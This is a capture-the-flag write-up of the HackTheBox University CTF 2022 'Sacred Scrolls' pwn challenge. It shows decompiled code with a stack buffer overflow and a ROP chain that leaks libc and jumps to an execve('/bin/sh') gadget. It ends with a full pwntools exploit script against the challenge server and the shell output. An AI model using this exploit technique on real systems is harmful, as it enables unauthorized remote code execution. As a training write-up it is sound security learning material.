Details
This challenge was given to the HackTheBox University CTF 2022. It was a pwn challenge of easy difficulty. A server is running for this challenge and the binary running on it and libc files are given.
Description
Each house on the campus has its secret library to store spells or spellbound messages so the others cannot see them. Messages are encrypted and must be signed by the boy who lived, turning them into sacred scrolls otherwise they are not accepted in this library. You can try it yourself as long as you are a wizard of this house.
Overview
Start by gathering information.
Running the program
[+] All ⅀ ℙ ∉ ⎳ ⎳ ⅀ have been whiped out..
Enter your wizard tag: Wizard
Interact with magic library Wizard
1. Upload ⅀ ℙ ∉ ⎳ ⎳
2. Read ⅀ ℙ ∉ ⎳ ⎳
2. Cast ⅀ ℙ ∉ ⎳ ⎳
3. Leave
Edit
Picking edit we get
[*] Enter file (it will be named spell.zip):
Depending on the user input the program either says that the spell has been added and continues or that we used an invalid character and exits.
Read/Cast
When attempting to read before uploading we are presented with the error
unzip: cannot find or open spell.zip, spell.zip.zip or spell.zip.ZIP.
[-] There is no such file!
If random characters are used with the upload function before we get
Archive: spell.zip
End-of-central-directory signature not found. Either this file is not
a zipfile, or it constitutes one disk of a multi-part archive. In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
note: spell.zip may be a plain executable, not an archive
unzip: cannot find zipfile directory in one of spell.zip or
spell.zip.zip, and cannot find spell.zip.ZIP, period.
[-] There is no such file!
It is an error from the unzip
command. It doesn’t show up on the server, I assume because STDERR is not part of the output.
Leave
When selecting Leave we get the following output even without interacting with other parts of the program
[-] This spell is not quiet effective, thus it will not be saved!
Segmentation fault
This means that the memory is getting corrupted at some point.
Checking the binary
Running checksec
on the binary we can get a few security attributes
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found *
NX: NX enabled
PIE: No PIE (0x400000) *
RUNPATH: b'./glibc/' *
The important parts for this challenge are:
- The missing stack canary - we can write on the stack without extra security checks getting in the way
- PIE is disabled - the code will be executed always with the same base address
- The libc version is given - we don’t have to guess or exfiltrate the version of libc from the server, as it is given
Analyze code
To analyze the code I used Ghidra.
The edit
function allows the user to send a base64 encoded string. It allows only a limited set of character
if (((((userInput[index] < 'a') || ('z' < userInput[index])) &&
((userInput[index] < 'A' || ('Z' < userInput[index])))) &&
((((userInput[index] < '0' || ('9' < userInput[index])) && (userInput[index] != '.')) &&
((userInput[index] != '\0' && (userInput[index] != '+')))))) && (userInput[index] != '=') )
This translates in regex to [a-zA-Z0-9=\+\.\x00]*
, matching all base64 characters but /
.
The given string is then passed to a system
call that executes echo 'INPUT' | base64 -d > spell.zip
The read
function executes the following code
char * spell_read(void)
{
int cmp;
char *spell;
FILE *spell_fd;
spell = (char *)malloc(400);
system("unzip spell.zip");
spell_fd = fopen("spell.txt","rb");
if (spell_fd == (FILE *)0x0) {
printf("%s\n[-] There is no such file!\n\n",&DAT_0040127f);
/* WARNING: Subroutine does not return */
exit(-0x45);
}
fread(spell,399,1,spell_fd);
cmp = strncmp(spell,s__00401322,4);
if (cmp == 0) {
cmp = strncmp(spell + 4,s__00401327,3);
if (cmp == 0) {
close((int)spell_fd);
return spell;
}
}
printf("%s\n[-] Your file does not have the signature of the boy who lived!\n\n",&DAT_0040127f) ;
/* WARNING: Subroutine does not return */
exit(0x520);
}
It extracts the uploaded spell, then reads a file named spell.txt
. To continue the execution of the program, the file has to start with the characters 👓⚡
Executing the read
command, the first 192 characters will be saved in a local variable. A safe implementation would copy the spell into a buffer of 24 characters, but this uses a buffer of 24 longs.
When exiting the program using the leave
command, the following command is executed
spell_save(savedSpell);
Where savedSpell
is from the read
command.
void spell_save(void *spell)
{
char buffer [32];
memcpy(buffer,spell,600);
printf("%s\n[-] This spell is not quiet effective, thus it will not be saved!\n",&DAT_0040127f) ;
return;
}
The code copies way too many characters in the stack buffer. This allows the use of return oriented programming (ROP) by manipulating the return pointer.
First, I checked for gadgets using ROPgadget. There was no syscall
gadget so I tried to leak the base address of libc and call /bin/sh
.
To leak the base libc address I chose to print the value of system
from the global offset table (GOT). To do this we have to call puts(_got_system)
. We can do this by using the procedure linkage table (PLT).
After this, we can jump back to the main function to resume the execution of the program and be able to upload a second payload.
Now, we have to jump to code from libc that executes /bin/sh
. To find such an address I used one_gadget and picked this address as it had constraints that were easier to satisfy.
0xebcf5 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL
[rdx] == NULL || rdx == NULL
For this to work, I set the value of RBP to the address of .data
+ 0x78
Solution
from pwn import *
from os import system
# Pre-made payload to avoid `/` characters in it
# Payload: 👓⚡ + padding + RBP + POP_RDI + GOT[system] + PLT[puts] + RET + RET + MAIN + padding
# RPB = 0
# RET + RET and final padding is used to change the base64 output to avoid `/`
# 2 RET instructions are used to keep the stack alignment
payload_leak = b"UEsDBBQAAAAIAK1ag1V0l2o0MgAAAGUAAAAJABwAc3BlbGwudHh0VVQJAAMVFYtjFRWLY3V4CwABBOgDAAAE6AMAAPswf+LkR7MWJmIHaVEMULBZ0AFMT9BPgAhwQPjn2FHpR3wQ2rEqNanIwMDEwCDNwBIAUEsBAh4DFAAAAAgArVqDVXSXajQyAAAAZQAAAAkAGAAAAAAAAAAAAP+BAAAAAHNwZWxsLnR4dFVUBQADFRWLY3V4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE8AAAB1AAAAAAA="
libc_system = 0x50d60
win_addr = 0xebcf5
win_diff = libc_system - win_addr
data_section = 0x603000
# io = process("./sacred_scrolls")
io = remote("206.189.126.12", 32377)
io.recvuntil(b"tag: ") # Tag - anything
io.sendline(b"1")
io.recvuntil(b">> ") # Select upload
io.sendline(b"1")
io.recvuntil(b": ") # Send first payload
io.sendline(payload_leak)
io.recvuntil(b">> ") # Read - load payload in memory
io.sendline(b"2")
io.recvuntil(b">> ") # Exit - execute payload
io.sendline(b"3")
io.recvuntil(b"saved!")
io.recvline()
leak = io.recvline().strip()
while len(leak) < 8: # Pad leak with null bytes
leak = leak + b"\x00"
win_addr = u64(leak) - win_diff
header = b"\xf0\x9f\x91\x93\xe2\x9a\xa1" + b"a"*25
rop = p64(data_section + 0x78) + p64(win_addr)
payload = header + rop
system("rm spell.zip && rm spell.txt 2>/dev/null")
open("spell.txt", 'wb').write(payload)
command = f"zip spell.zip spell.txt && cat spell.zip | base64 > payload"
system(command)
payload = open("payload").read().replace("\n", "")
system("rm spell.txt payload spell.zip")
if "/" in payload:
print("Try again. The payload happened to be invalid")
exit()
io.recvuntil(b"tag: ") # Tag - anything
io.sendline(b"1")
io.recvuntil(b">> ") # Select upload
io.sendline(b"1")
io.recvuntil(b": ") # Send second payload
io.sendline(payload)
io.recvuntil(b">> ") # Read - load payload in memory
io.sendline(b"2")
io.recvuntil(b">> ") # Exit - execute payload
io.sendline(b"3")
io.interactive() # RCE
Execution output
[+] Opening connection to 206.189.126.12 on port 32377: Done
[*] Switching to interactive mode
[-] This spell is not quiet effective, thus it will not be saved!
$ cat flag.txt
HTB{m4y_th3_b0y_wh0_l1v3d_h3lp_u}